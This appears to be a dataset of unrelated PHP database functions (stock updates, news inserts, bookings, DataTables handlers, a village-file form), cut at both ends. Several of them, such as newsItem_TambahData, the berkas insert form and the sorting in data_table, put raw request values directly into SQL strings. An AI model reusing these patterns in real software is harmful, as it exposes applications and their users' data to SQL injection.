$rowStok->m_gudang_id,\r\r\n\t\t\t\t\t\t\t'm_barang_id' \t\t\t\t=> $rowStok->m_barang_id,\r\r\n\t\t\t\t\t\t\t'kartu_stok_tanggal' \t\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t'kartu_stok_referensi' \t\t=> $this->input->post('so_customer_nomor', TRUE)[$i],\r\r\n\t\t\t\t\t\t\t'kartu_stok_saldo' \t\t\t=> $rowStok->stok_gudang_jumlah,\r\r\n\t\t\t\t\t\t\t'kartu_stok_masuk' \t\t\t=> 0,\r\r\n\t\t\t\t\t\t\t'kartu_stok_keluar' \t\t=> $dataqty['surat_jalandet_qty_kirim'],\r\r\n\t\t\t\t\t\t\t'kartu_stok_penyesuaian'\t=> 0,\r\r\n\t\t\t\t\t\t\t'kartu_stok_keterangan' \t=> \"SO Customer\",\r\r\n\t\t\t\t\t\t\t'kartu_stok_created_date'\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t'kartu_stok_created_by' \t=> $this->session->userdata('user_username'),\r\r\n\t\t\t\t\t\t\t'kartu_stok_revised' \t\t=> 0,\r\r\n\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t// END PENGURANGAN KARTU STOK\r\r\n\t\t\t\t\t\t$insertKStok = $this->mod->insert_data_table('t_kartu_stok', NULL, $dataKStok);\r\r\n\t\t\t\t\t\tif (@$whereStok['data']) {\r\r\n\t\t\t\t\t\t\tunset($whereStok['data']);\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t$whereStok['data'][] = array(\r\r\n\t\t\t\t\t\t\t'column' => 'stok_gudang_id',\r\r\n\t\t\t\t\t\t\t'param'\t => $rowStok->stok_gudang_id\r\r\n\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t$dataStok = array(\r\r\n\t\t\t\t\t\t\t'stok_gudang_jumlah' \t\t=> $rowStok->stok_gudang_jumlah - $dataqty['surat_jalandet_qty_kirim'],\r\r\n\t\t\t\t\t\t\t'stok_gudang_update_date'\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t'stok_gudang_update_by'\t\t=> $this->session->userdata('user_username'),\r\r\n\t\t\t\t\t\t\t'stok_gudang_revised' \t\t=> $rowStok->stok_gudang_revised + 1,\r\r\n\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t$updateStok = $this->mod->update_data_table('t_stok_gudang', $whereStok, $dataStok);\r\r\n\t\t\t\t\t\t$i++;\r\r\n\t\t\t\t\t\t// END PENGURANGAN STOK GUDANG\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t}\r\r\n\t\t\t}\t\r\r\n\t\t\tif($insert->status) {\r\r\n\t\t\t\t$response['status'] = '200';\r\r\n\t\t\t} else {\r\r\n\t\t\t\t$response['status'] = '204';\r\r\n\t\t\t}\r\r\n\t\t\t\r\r\n\t\t}\r\r\n\t\t\r\r\n\t\techo json_encode($response);\r\r\n\t}", "function getdatait( $id = 0 ){\n\t\tif($id == 0){\n\t\t\t$id = $this->datasis->dameval('SELECT MAX(id) AS id FROM spre');\n\t\t}\n\t\t$dbid = intval($id);\n\t\tif(empty($id)) return '';\n\t\t$numero = $this->datasis->dameval(\"SELECT numero FROM spre WHERE id=${dbid}\");\n\t\t$dbnumero = $this->db->escape($numero);\n\n\t\t$orderby= '';\n\t\t$sidx=$this->input->post('sidx');\n\t\tif($sidx){\n\t\t\t$campos = $this->db->list_fields('itspre');\n\t\t\tif(in_array($sidx,$campos)){\n\t\t\t\t$sidx = trim($sidx);\n\t\t\t\t$sord = $this->input->post('sord');\n\t\t\t\t$orderby=\"ORDER BY `${sidx}` \".(($sord=='asc')? 'ASC':'DESC');\n\t\t\t}\n\t\t}\n\n\t\t$grid = $this->jqdatagrid;\n\t\t$mSQL = \"SELECT a.*, b.existen, b.activo, if(MID(b.tipo,1,1)='S',1,b.existen-a.cana) saldo \";\n\t\t$mSQL .= \"FROM itspre a JOIN sinv b ON a.codigo=b.codigo WHERE numero=${dbnumero} ${orderby}\";\n\t\t$response = $grid->getDataSimple($mSQL);\n\t\t$rs = $grid->jsonresult( $response);\n\t\techo $rs;\n\t}", "function newsItem_TambahData(\n\t\t$tbl_news,\n\t\t$id, $idupline, $idkategori,\n\t\t$idkategorisub, $judul, $judulinggris,\n\t\t$subjudul, $subjudulinggris,\n\t\t$preview, $previewinggris,\n\t\t$deskripsi, $deskripsiinggris, $penulis,\n\t\t$tglpost, $jampost,\n\t\t$tgltampil, $jamtampil, $tglselesai, $jamselesai, $timeunix, $gambarkecil, $gambarsedang, $gambarbesar,\n\t\t$keterangangambar, $imagelogo, $dikomentari, $dilampirkan, $dilihat,\n\t\t$statustampil, $headline, $idusers, $idadmin, $direktorigambar, $linkjudul, $wordtag, $keyword\n\t){\n\t\t$sql = mysql_query(\"INSERT INTO $tbl_news\n\t\t(\n\n\t\t\t\tid, idupline, idkategori, idkategorisub,\n\t\t\t\tjudul, judulinggris, subjudul, subjudulinggris,\n\t\t\t\tpreview, previewinggris,\n\t\t\t\tdeskripsi, deskripsiinggris, penulis,\n\t\t\t\ttglpost, jampost,\n\t\t\t\ttgltampil, jamtampil, tglselesai, jamselesai,\n\t\t\t\ttimeunix, gambarkecil, gambarsedang, gambarbesar,\n\t\t\t\tketerangangambar, \n\t\t\t\timagelogo, dikomentari, dilampirkan,\n\t\t\t\tdilihat, statustampil, urutan, headline, idusers, idadmin,\n\t\t\t\tdirektorigambar, linkjudul, wordtag, keyword\n\n\t\t)VALUES(\n\t\n\t\t\t\t'$id', '$idupline',\n\t\t\t\t'$idkategori', '$idkategorisub',\n\t\t\t\t'$judul', '$judulinggris',\n\t\t\t\t'$subjudul','$subjudulinggris',\n\t\t\t\t'$preview','$previewinggris',\n\t\t\t\t'$deskripsi','$deskripsiinggris', '$penulis',\n\t\t\t\t'$tglpost','$jampost',\n\t\t\t\t'$tgltampil','$jamtampil', '$tglselesai', '$jamselesai',\n\t\t\t\t'$timeunix',\n\t\t\t\t'$gambarkecil','$gambarsedang','$gambarbesar',\n\t\t\t\t'$keterangangambar',\n\t\t\t\t'$imagelogo', '$dikomentari', '$dilampirkan',\n\t\t\t\t'$dilihat', '$statustampil', '$id', '$headline',\n\t\t\t\t'$idusers', '$idadmin',\n\t\t\t\t'$direktorigambar', '$linkjudul', '$wordtag', '$keyword'\n \n\t\t)\");\n\t\treturn $sql;\n\t}", "function tambah_data($perusahaan, $kategori, $nama_file, $masa_berlaku){\r\n\t\t\t$perusahaan \t= escape($perusahaan);\r\n\t\t\t$kategori \t\t= escape($kategori);\r\n\t\t\t$nama_file\t\t= escape($nama_file);\r\n\t\t\t$masa_berlaku\t= escape($masa_berlaku);\r\n\t\t\t\r\n\t\t\t$query \t= \"INSERT INTO data (pt, kategori, nama_file, masa_berlaku) VALUES ('$perusahaan', '$kategori', '$nama_file', '$masa_berlaku')\";\r\n\t\t\treturn run($query);\r\n\t\t}", "public function insertData()\n\t{\n\t\t$data = array(\n\t\t\t/* 'id' yang dikiri harus sama seperti di table\n\t\t\t'id' yang dikanan harus menurut name inputnya */\n\t\t\t'id_transaksi' => $this->input->post('id_transaksi'),\n\t\t\t'id_pelanggan' => $this->input->post('id_pelanggan'),\n\t\t\t'order_id' => $this->input->post('order_id'),\n\t\t\t'message' => $this->input->post('message'),\n\t\t\t'tgl_kirim' => $this->input->post('tgl_kirim'),\n\t\t\t'tgl_terima' => $this->input->post('tgl_terima')\n\t\t);\n\t\t/* jika semua sama sperti di table\n\t\tgunakan versi simple seprti berikut */\n\t\t$data = $this->input->post();\n\t\t/* eksekusi query insert into \"transaksi\" diisi dengan variable $data\n\t\tface2face ae lek bingung :| */\n\t\t$this->db->insert(\"transaksi\",$data);\n\t}", "function DBDataForm()\n {\n $this->ItemData();\n $this->ItemDataGroups();\n \n $this->InitActions();\n $this->SetPertains();\n\n return\n $this->ItemsForm_Run\n (\n array\n (\n \"FormTitle\" => $this->DBDataFormTitle(),\n \"ID\" => 2,\n \"Name\" => \"Datas\",\n \"Method\" => \"post\",\n \"Action\" => \n \"?Unit=\".$this->GetCGIVarValue(\"Unit\").\n \"&ModuleName=Events&Action=\".\n $this->CGI_Get(\"Action\").\n \"&Event=\".\n $this->GetGET(\"Event\")\n ,\n\n \"Anchor\" => \"TOP\",\n \"Uploads\" => FALSE,\n \"CGIGETVars\" => array(\"Group\",\"Datas\",\"Datas_Sort\",\"Datas_Reverse\"),\n\n\n \"Edit\" => 1,\n \"Update\" => 1,\n\n \"RowMethod\" => \"\",\n \"RowsMethod\" => \"Table_Rows\",\n \"RowMethod\" => \"\",\n \"RowsMethod\" => \"ItemsForm_ItemRows\",\n\n \"DefaultSorts\" => array(\"SortOrder\",\"ID\"),\n \"ReadWhere\" => array\n (\n \"Event\" => $this->Event(\"ID\"),\n \"Pertains\" => $this->ApplicationObj()->Pertains,\n ),\n\n \"IgnoreGETVars\" => array(\"CreateTable\"),\n \"UpdateCGIVar\" => \"Update\",\n \"UpdateCGIValue\" => 1,\n \"UpdateItems\" => array(),\n\n\n \"Group\" => $this->DBDataFormDataGroup(),\n\n \"Edit\" => 1,\n\n \"Items\" => array(),\n \"AddGroup\" => \"Basic\",\n \"AddItem\" => array\n (\n \"Unit\" => $this->Unit(\"ID\"),\n \"Event\" => $this->Event(\"ID\"),\n \"Pertains\" => $this->ApplicationObj()->Pertains,\n \"Friend\" => 3, //default access to friend is edit\n ),\n \"AddDatas\" => array(\"Pertains\",\"DataGroup\",\"SqlKey\",\"Type\",\"SortOrder\",\"Text\",\"Text_UK\"),\n \"UniqueDatas\" => array(\"SqlKey\"),\n \"NCols\" => 20,\n \n \"DetailsMethod\" => \"DBDataFormDetailsCell\",\n \"DetailsSGroups\" => \"GetDetailsSGroups\",\n )\n ).\n $this->DBDataQuest().\n \"\";\n }", "public function tambah($data)\n {\n $this->db->insert($this->table, [\n \"nip\" => $data[\"nip\"],\n \"bidang\" => $data[\"bidang\"],\n \"nama\" => $data[\"nama\"]\n ]);\n \n return $this->db->id();\n }", "public function get_data() {\n $aColumns = array('id', 'nama');\n \n // DB table to use\n\t\t$sTable = $this->tbl_data_pajak;\n\t\t\t\t\t\t\n $iDisplayStart = $this->input->get_post('iDisplayStart', true);\n $iDisplayLength = $this->input->get_post('iDisplayLength', true);\n $iSortCol_0 = $this->input->get_post('iSortCol_0', true);\n $iSortingCols = $this->input->get_post('iSortingCols', true);\n $sSearch = $this->input->get_post('sSearch', true);\n $sEcho = $this->input->get_post('sEcho', true);\n \n // Paging\n if (isset($iDisplayStart) && $iDisplayLength != '-1') {\n $this->db->limit($this->db->escape_str($iDisplayLength), $this->db->escape_str($iDisplayStart));\n }\n \n // Ordering\n if (isset($iSortCol_0)) {\n for ($i=0; $i<intval($iSortingCols); $i++) {\n $iSortCol = $this->input->get_post('iSortCol_'.$i, true);\n $bSortable = $this->input->get_post('bSortable_'.intval($iSortCol), true);\n $sSortDir = $this->input->get_post('sSortDir_'.$i, true);\n \n if ($bSortable == 'true') {\n $this->db->order_by($aColumns[intval($this->db->escape_str($iSortCol))], $this->db->escape_str($sSortDir));\n }\n }\n }\n \n /* \n * Filtering\n * NOTE this does not match the built-in DataTables filtering which does it\n * word by word on any field. It's possible to do here, but concerned about efficiency\n * on very large tables, and MySQL's regex functionality is very limited\n */\n if (isset($sSearch) && !empty($sSearch)) {\n for ($i=0; $i<count($aColumns); $i++) {\n $bSearchable = $this->input->get_post('bSearchable_'.$i, true);\n \n // Individual column filtering\n if (isset($bSearchable) && $bSearchable == 'true') {\n $this->db->or_like($aColumns[$i], $this->db->escape_like_str($sSearch));\n }\n }\n }\n \n // Select Data\n $this->db->select('SQL_CALC_FOUND_ROWS '.str_replace(' , ', ' ', implode(', ', $aColumns)), false);\n $rResult = $this->db->get($sTable);\n \n // Data set length after filtering\n $this->db->select('FOUND_ROWS() AS found_rows');\n $iFilteredTotal = $this->db->get()->row()->found_rows;\n \n // Total data set length\n $iTotal = $this->db->count_all($sTable);\n \n // Output\n $output = array(\n 'sEcho' => intval($sEcho),\n 'iTotalRecords' => $iTotal,\n 'iTotalDisplayRecords' => $iFilteredTotal,\n 'aaData' => array()\n );\n \n\t\t$no = $iDisplayStart;\n\t\t\t\t\n foreach ($rResult->result_array() as $aRow) {\n $row = array();\n\t\t\t\n\t\t\t$no++;\n\t\t\t$row[] = $no;\n\t\t\t$row[] = $aRow['nama'];\n\t\t\t$row[] = '<button type=\"button\" class=\"btn btn-default btn-xs btn-edit\" value=\"'.$aRow['id'].'\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Edit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</button>';\n\t\t\t\n\t\t\t$output['aaData'][] = $row;\n }\n echo json_encode($output);\n }", "public function addRecordInDB($data, $numero_posti, $id_prenotazione){\r\n include_once './db_functions.php';\r\n $db = new DB_Functions();\r\n //Escaping\r\n $data = DB_Functions::esc($data);\r\n $numero_posti = DB_Functions::esc($numero_posti);\r\n $id_prenotazione = DB_Functions::esc($id_prenotazione);\r\n\r\n //Verifica posti disponibili\r\n $posti_disponibili = Prenotazione::posti_disponibili($id_prenotazione);\r\n\r\n //Se posso non posso utilizzare il biglietto\r\n if ($numero_posti > $posti_disponibili) {\r\n return false;\r\n }\r\n\r\n //Utilizza biglietto con numero posti desiderato\r\n $query = \"INSERT INTO UTILIZZO_BIGLIETTO (DATA, NUMERO_POSTI, ID_PRENOTAZIONE)\r\n\t VALUES ($data, $numero_posti, $id_prenotazione)\";\r\n\r\n $resQuery1 = $db->executeQuery($query);\r\n // Se la query ha esito positivo\r\n if ($resQuery1[\"state\"]) {\r\n //Salva valore ID del record creato\r\n $query = \"SELECT max(ID_UTILIZZO_BIGLIETTO) FROM UTILIZZO_BIGLIETTO;\";\r\n $resQuery2 = $db->executeQuery($query);\r\n $this->id_utilizzo_biglietto = $resQuery2[\"response\"][0][0];\r\n $this->data = $data;\r\n $this->numero_posti = $numero_posti;\r\n $this->id_prenotazione = $id_prenotazione;\r\n }\r\n return $resQuery1;\r\n }", "public function addRecordInDB($data, $numero_posti, $id_sede, $id_tipologia_prenotazione, $id_utente_registrato){\r\n include_once './db_functions.php';\r\n $db = new DB_Functions();\r\n //Escaping\r\n $data = DB_Functions::esc($data);\r\n $numero_posti = DB_Functions::esc($numero_posti);\r\n $id_sede = DB_Functions::esc($id_sede);\r\n $id_tipologia_prenotazione = DB_Functions::esc($id_tipologia_prenotazione);\r\n $id_utente_registrato = DB_Functions::esc($id_utente_registrato);\r\n $query = \"INSERT INTO PRENOTAZIONE (DATA, NUMERO_POSTI, ID_SEDE, ID_TIPOLOGIA_PRENOTAZIONE, ID_UTENTE_REGISTRATO)\r\n\t VALUES ($data, $numero_posti, $id_sede, $id_tipologia_prenotazione, $id_utente_registrato)\";\r\n $resQuery1 = $db->executeQuery($query);\r\n // Se la query ha esito positivo\r\n if ($resQuery1[\"state\"]) {\r\n //Salva valore ID del record creato\r\n $query = \"SELECT max(ID_PRENOTAZIONE) FROM PRENOTAZIONE;\";\r\n $resQuery2 = $db->executeQuery($query);\r\n $this->id_prenotazione = $resQuery2[\"response\"][0][0];\r\n $this->data = $data;\r\n $this->numero_posti = $numero_posti;\r\n $this->id_sede = $id_sede;\r\n $this->id_tipologia_prenotazione = $id_tipologia_prenotazione;\r\n $this->id_utente_registrato = $id_utente_registrato;\r\n }\r\n return $resQuery1;\r\n }", "public function insertAjuanPindahD(array $data) {\n\t $registry = Zend_Registry::getInstance();\n\t $db = $registry->get('db');\n\t \n\t try {\n\t $db->beginTransaction();\n\t $atk_mast_prm = array(\"i_barang_ajuanpindah\" \t=>$data['noPindah'],\n\t \"d_anggaran\" \t\t\t\t=>$data['thnang'],\n\t\t\t\t\t\t \"c_barang\" \t\t\t\t\t=>$data['kdbrg'],\n\t\t\t\t\t\t \"i_aset_awal\" \t\t\t\t=>$data['noaset'],\n\t\t\t\t\t\t \"d_perolehan\" \t\t\t\t=>$data['tglPerl'],\n\t\t\t\t\t\t\t \"q_barang\" \t\t\t\t=>$data['jml'],\n\t\t\t\t\t\t\t \"i_ruang_baru\" \t\t\t=>$data['ruang'],\n\t\t\t\t\t\t\t \"i_ruang\" \t\t\t\t\t=>$data['Nourut'],\n\t\t\t\t\t\t\t \"e_keterangan\" \t\t\t=>$data['ktr'],\n\t\t\t\t\t\t\t \"i_entry\" \t\t\t\t=>$data['nuser'],\n\t\t\t\t\t\t \"d_entry\" \t\t\t\t=>date(\"Y-m-d\"));\n\t\t\n\t\t\n \t\t $db->insert('aset.tm_ajuanpindahinv_item',$atk_mast_prm);\n\t\t $db->commit();\n\t return 'sukses';\n\t } catch (Exception $e) {\n $db->rollBack();\n echo $e->getMessage().'<br>';\n\t return 'gagal';\n\t }\n\t}", "function exibirDataMysql($data){\n\tlist ($dia, $mes, $ano) = explode ('/', $data);\n\t$data_mysql = $ano.'-'.$mes.'-'.$dia;\n\treturn $data_mysql;\n}", "private static function Najdi_kolize ($query,$iducast){\r\n $kolize_pole = array();\r\n $dbh = Projektor2_AppContext::getDB();\r\n \r\n //echo \" <br>\". $query . \" \" . $iducast;\r\n \r\n //--\r\n Projektor2_Table_UcKolizeData::$zjistovane_kolize=array();\r\n Projektor2_Table_UcKolizeData::$nastava_kolize_ve_zjistovanych = false; \r\n //echo \"NAJDI KOLIZE\";\r\n \r\n try { \r\n $sth = $dbh->prepare($query);\r\n $succ = $sth->execute();\r\n while($zaznam_s_kolize = $sth->fetch(PDO::FETCH_ASSOC)) { //pro pozadovane kontroly (kolize) sestavuji dotazy\r\n //var_dump($zaznam_s_kolize);\r\n //--\r\n array_push (Projektor2_Table_UcKolizeData::$zjistovane_kolize, $zaznam_s_kolize['id_s_typ_kolize']);\r\n //echo \"Table_UcKolizeData::zjistovane_kolize\"; var_dump(Table_UcKolizeData::$zjistovane_kolize);\r\n \r\n //ze zjistenych udaju sestavuji dotazy na kolize\r\n $query_kolize = self::Sestav_dotaz_na_kolizi($zaznam_s_kolize['zobrazovany_text_kolize'], $zaznam_s_kolize['select_text'], $zaznam_s_kolize['from_text'], $zaznam_s_kolize['where_text'] );\r\n //echo \"<br>*id_s_typ_kolize a dotaz na kolizi*|\" . $zaznam_s_kolize['id_s_typ_kolize'] ;\r\n //echo \" |<br>\". $query_kolize;\r\n \r\n if ($query_kolize) {\r\n $sth = $dbh->prepare($query_kolize);\r\n $succ = $sth->execute($iducast); \r\n \r\n //while ($zaznam_kolize = $data_kolize->fetch()) { \r\n $zaznam_kolize = $sth->fetch(PDO::FETCH_ASSOC);\r\n //echo \"<br>zaznam_kolize\" ; var_dump( $zaznam_kolize );\r\n \r\n if ( $zaznam_kolize['kolize_nastala'] ) { // kolize nastava\r\n // echo \"<br>\" . $zaznam_kolize['kolize_nastala'];\r\n //--/\r\n Projektor2_Table_UcKolizeData::$nastava_kolize_ve_zjistovanych = true; // nastavi priznak, ze alespon jedna zjistovana kolize skutecne nastava\r\n \r\n // ***minula*** - kolize nastava, je treba z uc_kolize_table precist ulozena data pokud uz kolize byla a !je! validni\r\n // hledat podle iducast, id s kolize , formular-nemusi, lokace-nemusi\r\n $query_minula = \"SELECT * FROM uc_kolize_table left join s_typ_kolize on (s_typ_kolize.id_s_typ_kolize = uc_kolize_table.id_s_typ_kolize_FK) \" .\r\n \"WHERE id_ucastnik=\" . $iducast .\r\n //\" and s_typ_kolize.formular='\" . $formular .\"'\" .\r\n //\" and s_typ_kolize.lokace_kolize='\" . $lokacekolize .\"'\" .\r\n \" and s_typ_kolize.id_s_typ_kolize=\" . $zaznam_s_kolize['id_s_typ_kolize'] . \r\n \" and uc_kolize_table.valid\" ; \r\n //echo \"<br>query_minula: \" .$query_minula;\r\n $sth = $dbh->prepare($query_minula);\r\n $suvv = $sth->execute();\r\n $zaznam_minula = $sth->fetch(PDO::FETCH_ASSOC);\r\n //var_dump ($zaznam_minula);\r\n \r\n if ($zaznam_minula) {\r\n $kolize = new Projektor2_Table_UcKolizeData($iducast, $zaznam_s_kolize['id_s_typ_kolize'],\r\n $zaznam_minula['revidovano'], $zaznam_minula['revidovano_pozn'],\r\n $zaznam_minula['date_vzniku'], $zaznam_kolize['kolize_nastala'],\r\n $zaznam_s_kolize['nazev_kolize'], \r\n $zaznam_kolize['zobrazovany_text_kolize'] , $zaznam_s_kolize['uroven_kolize'] , $zaznam_s_kolize['lokace_kolize'],\r\n $zaznam_minula['id_uc_kolize_table']);\r\n }\r\n else {\r\n $kolize = new Projektor2_Table_UcKolizeData($iducast, $zaznam_s_kolize['id_s_typ_kolize'],\r\n null, null,\r\n null, $zaznam_kolize['kolize_nastala'],\r\n $zaznam_s_kolize['nazev_kolize'],\r\n $zaznam_kolize['zobrazovany_text_kolize'] , $zaznam_s_kolize['uroven_kolize'] , $zaznam_s_kolize['lokace_kolize'],\r\n null);\r\n }\r\n //var_dump($kolize); \r\n $kolize_pole[] = $kolize;\r\n \r\n \r\n \r\n } //- kolize nastava\r\n \r\n else { // kolize nenastava nevim zda i u kolize ktera nenastava mam naplnovat informace z uc_kolize_table (revidovano....)\r\n $kolize = new Projektor2_Table_UcKolizeData($iducast, $zaznam_s_kolize['id_s_typ_kolize'],\r\n null, null,\r\n null, $zaznam_kolize['kolize_nastala'],\r\n $zaznam_s_kolize['nazev_kolize'],\r\n $zaznam_kolize['zobrazovany_text_kolize'] , $zaznam_s_kolize['uroven_kolize'] , $zaznam_s_kolize['lokace_kolize'],\r\n null);\r\n \r\n $kolize_pole[] = $kolize; \r\n \r\n }\r\n \r\n //}//while\r\n \r\n }//if query \r\n \r\n } // while - pro pozadovane kontroly (kolize) sestavuji dotazy\r\n } //try\r\n catch (Exception $e) {\r\n\t//header(\"Location: ./login.php?originating_uri=\".$_SERVER['REQUEST_URI']);\r\n \r\n }\r\n//echo \"<br>**Kolize_pole v Najdi_kolize..... **\";\r\n//var_dump($kolize_pole);\r\n \r\n return $kolize_pole;\r\n \r\n}", "function insert($koneksi){\n\t\n\t?>\n\t<a href=\"index.php\"> &laquo; Home</a> | \n\t<a href=\"index.php?aksi=create\"> (+) Tambah Data</a>\n\t<form action=\"\" method=\"POST\">\n\t\t<fieldset>\n\t\t\t<div class=\"table-responsive\">\n\t\t\t\t<table class=\"table table-responsive-sm table-hover\" border=\"0\">\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>Desa</td> \n\t\t\t\t\t\t<td> : \n\t\t\t\t\t\t\t<select name=\"id_desa\" required>\n\t\t\t\t\t\t\t\t<?php \n\t\t\t\t\t\t\t\t\t$datadesa = array();\n\t\t\t\t\t\t\t\t\t$sql = mysqli_query($koneksi, \"SELECT * FROM desa\");\n\t\t\t\t\t\t\t\t\twhile ($desa = mysqli_fetch_assoc($sql)) {\n\t\t\t\t\t\t\t\t\t\t$datadesa[] = $desa;\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t<option disabled selected value=\"\">-Pilih Desa-</option>\n\t\t\t\t\t\t\t\t<?php foreach ($datadesa as $key => $value):?>\n\t\t\t\t\t\t\t\t<option value=\"<?= $value[\"id_desa\"] ?>\"><?= $value[\"nama_desa\"] ?></option>\n\t\t\t\t\t\t\t\t<?php endforeach ?>\n\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>Proyek</td> \n\t\t\t\t\t\t<td> : \n\t\t\t\t\t\t<select name=\"id_proyek\" required>\n\t\t\t\t\t\t \t<?php \n\t\t\t\t\t\t\t\t\t\t$dataproyek = array();\n\t\t\t\t\t\t\t\t\t\t$sql = mysqli_query($koneksi, \"SELECT * FROM proyek\");\n\t\t\t\t\t\t\t\t\t\twhile ($proyek = mysqli_fetch_assoc($sql)) {\n\t\t\t\t\t\t\t\t\t\t $dataproyek[] = $proyek;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t <option disabled selected value=\"\">-Pilih Proyek-</option>\n\t\t\t\t\t\t <?php foreach ($dataproyek as $key => $value):?>\n\t\t\t\t\t\t <option value=\"<?= $value[\"id_proyek\"] ?>\"><?= $value[\"nama_proyek\"] ?> / <?= $value[\"tahun_proyek\"] ?></option>\n\t\t\t\t\t\t <?php endforeach ?>\n\t\t\t\t\t\t </select>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>Banyak Berkas :</td> \n\t\t\t\t\t\t \n\t\t\t\t\t\t<td>Nomor Awal <input type=\"number\" name=\"nomor_berkas\"></input></td>\n\t\t\t\t\t\t<td>Nomor Akhir <input type=\"number\" name=\"nomor_berkas2\"></input></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td><label class=\"ml-2\">\n\t\t\t\t\t\t<input type=\"submit\" name=\"btn_simpan\" value=\"Simpan\"/>\n\t\t\t\t\t\t<!-- <input type=\"reset\" name=\"reset\" value=\"Besihkan\"/> -->\n\t\t\t\t\t</label></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td><label class=\"ml-2\">\n\t\t\t\t\t\t\n\t\t\t\t\t</label></td>\n\t\t\t\t\t</tr>\n\n\t\t\t\t</table>\n\t\t\t\t<br>\n\t\t\t</div>\n\n\t\t\t<p><?php echo isset($pesan) ? $pesan : \"\" ?></p>\n\t\t</fieldset>\n\t</form>\n\n\t<?php\n\tif (isset($_POST['btn_simpan'])) {\n\t\t$nama_desa = $_POST['id_desa'];\n\t\t$nama_proyek = $_POST['id_proyek'];\n\t $nomor_akhir = $_POST['nomor_berkas2'];\n\t $nomor_berkas = $_POST['nomor_berkas'];\n\t $null = 1;\n\t\tif(isset($_POST['btn_simpan'])){\n\t\t $i=0;\n\t\t for ($i==$nomor_berkas ; $i<$nomor_akhir ; $i++){\n\t\t\t $nomor = $nomor_berkas++;\n\t$sql = $koneksi->query(\"insert into berkas (id_desa,id_proyek,nomor_berkas) values('$nama_desa','$nama_proyek','$nomor')\");\n\t\t}}\n\n\tif ($sql) {\n\t\t?>\n\n\t\t\t\t <script type=\"text/javascript\">\n\t\t\t\t\t alert(\"Data Berhasil di Simpan\");\n\t\t\t\t\t window.location.href=\"index.php\";\n\t\t\t\t </script>\n\n\n\t\t\t\t <?php\n\t\t\t }\n\t }}", "function data_table(){\n $aColumns = array( 'guid','code','code','name','date','total_types','total_weight','total_amount','decomposition_status','guid','item_id','decomposition_status' );\t\n\t$start = \"\";\n $end=\"\";\n\n if ( $this->input->get_post('iDisplayLength') != '-1' )\t{\n $start = $this->input->get_post('iDisplayStart');\n $end=\t $this->input->get_post('iDisplayLength'); \n }\t\n $decomposition=\"\";\n if ( isset( $_GET['iSortCol_0'] ) )\n {\t\n for ( $i=0 ; $i<intval($this->input->get_post('iSortingCols') ) ; $i++ )\n {\n if ( $_GET[ 'bSortable_'.intval($this->input->get_post('iSortCol_'.$i)) ] == \"true\" )\n {\n $decomposition.= $aColumns[ intval( $this->input->get_post('iSortCol_'.$i) ) ].\" \".$this->input->get_post('sSortDir_'.$i ) .\",\";\n }\n }\n\n $decomposition = substr_replace( $decomposition, \"\", -1 );\n\n }\n\t\t\n $like = array();\n\tif ( $_GET['sSearch'] != \"\" )\n {\n $like =array(\n 'po_no'=> $this->input->get_post('code'),\n );\n\n }\n $this->load->model('items')\t ;\n $rResult1 = $this->items->get($end,$start,$like,$this->session->userdata['branch_id']);\n $iFilteredTotal =$this->items->count($this->session->userdata['branch_id']);\n $iTotal =$iFilteredTotal;\n $output1 = array(\n \"sEcho\" => intval($_GET['sEcho']),\n \"iTotalRecords\" => $iTotal,\n \"iTotalDisplayRecords\" => $iFilteredTotal,\n \"aaData\" => array()\n );\n\t\t\n foreach ($rResult1 as $aRow )\n {\n $row = array();\n for ( $i=0 ; $i<count($aColumns) ; $i++ )\n {\n if ( $aColumns[$i] == \"id\" )\n {\n $row[] = ($aRow[ $aColumns[$i] ]==\"0\") ? '-' : $aRow[ $aColumns[$i] ];\n }\n else if ( $aColumns[$i]== 'date' )\n {\n /* General output */\n $row[] = date('d-m-Y',$aRow[$aColumns[$i]]);\n }\n else if ( $aColumns[$i] != ' ' )\n {\n /* General output */\n $row[] = $aRow[$aColumns[$i]];\n }\n\n }\n\n $output1['aaData'][] = $row;\n }\n\techo json_encode($output1);\n }", "function _im_user_getmms_saveresult_callback() {\r\n\tif(!empty($_POST['data'])){\r\n $str = $_POST['data'];\r\n $table_string = str_replace('<TD>', '<td>', $str);\r\n $table_string = str_replace('</TD>','<td>',$table_string);\r\n $table_string = str_replace('<td><td>','<td>',$table_string);\r\n $table_string = str_replace('</td>', '<td>', $table_string);\r\n \r\n $result = explode(\"<td>\", $table_string);\r\n // print \"<pre>\";print_r($result);exit;\r\n foreach ($result as $key => $value) { \r\n $value =trim($value);\r\n if (is_null($value) || $value == '')\r\n unset($result[$key]);\r\n }\r\n $result_count = count($result);\r\n $result = array_values($result);\r\n $final_array =array();\r\n $new_array =array();\r\n for ($i =1; $i < $result_count; $i = $i+2) {\r\n $code = '';\r\n $description = '';\r\n $code = (string)$result[$i];\r\n $i = $i+1;\r\n $description =(string)$result[$i];\r\n //print($code);echo '<br>';print($description);exit;\r\n $search_query = db_select('user_getmms', 'u')\r\n ->fields('u', array('code', 'description'))\r\n ->condition('u.code', $code, '=')\r\n ->condition('u.description', $description, '=')\r\n ->execute()->fetchField();\r\n if (!empty($code) && !empty($description) && empty($search_query)) {\r\n 